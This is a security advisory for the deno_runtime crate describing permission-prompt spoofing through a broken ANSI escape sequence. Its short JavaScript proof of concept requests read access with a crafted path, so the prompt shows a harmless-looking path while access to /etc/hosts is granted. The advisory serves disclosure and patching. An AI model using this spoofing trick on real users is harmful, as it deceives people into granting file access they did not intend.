GHSA-m4pq-fv2w-6hrw

Source
https://github.com/advisories/GHSA-m4pq-fv2w-6hrw
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/03/GHSA-m4pq-fv2w-6hrw/GHSA-m4pq-fv2w-6hrw.json
Aliases
Published
2024-03-05T20:54:14Z
Modified
2024-03-21T18:29:23Z
Details

Summary

A maliciously crafted permission request can show the spoofed permission prompt by inserting a broken ANSI escape sequence into the request contents.

Details

In the patch for CVE-2023-28446, Deno is stripping any ANSI escape sequences from the permission prompt, but permissions given to the program are based on the contents that contain the ANSI escape sequences.

For example, requesting the read permission with /tmp/hello\u001b[/../../etc/hosts as a path will display the /tmp/hellotc/hosts in the permission prompt, but the actual permission given to the program is /tmp/hello\u001b[/../../etc/hosts, which is /etc/hosts after the normalization.

This difference allows a malicious Deno program to spoof the contents of the permission prompt.

PoC

Run the following JavaScript and observe that /tmp/hellotc/hosts is displayed in the permission prompt instead of /etc/hosts, although Deno gives access to /etc/hosts.

const permission = { name: "read", path: "/tmp/hello\u001b[/../../etc/hosts" };
await Deno.permissions.request(permission);
console.log(await Deno.readTextFile("/etc/hosts"));

Expected prompt

┌ ⚠️  Deno requests read access to "/etc/hosts".
├ Requested by `Deno.permissions.query()` API
├ Run again with --allow-read to bypass this prompt.
└ Allow? [y/n/A] (y = yes, allow; n = no, deny; A = allow all read permissions) >

Actual prompt

┌ ⚠️  Deno requests read access to "/tmp/hellotc/hosts".
├ Requested by `Deno.permissions.query()` API
├ Run again with --allow-read to bypass this prompt.
└ Allow? [y/n/A] (y = yes, allow; n = no, deny; A = allow all read permissions) >

Impact

Any Deno program can spoof the content of the interactive permission prompt by inserting a broken ANSI code, which allows a malicious Deno program to display the wrong file path or program name to the user.

References

Affected packages

crates.io / deno_runtime

Package

Affected ranges

Type
SEMVER
Events
Introduced
1.32.1
Fixed
1.41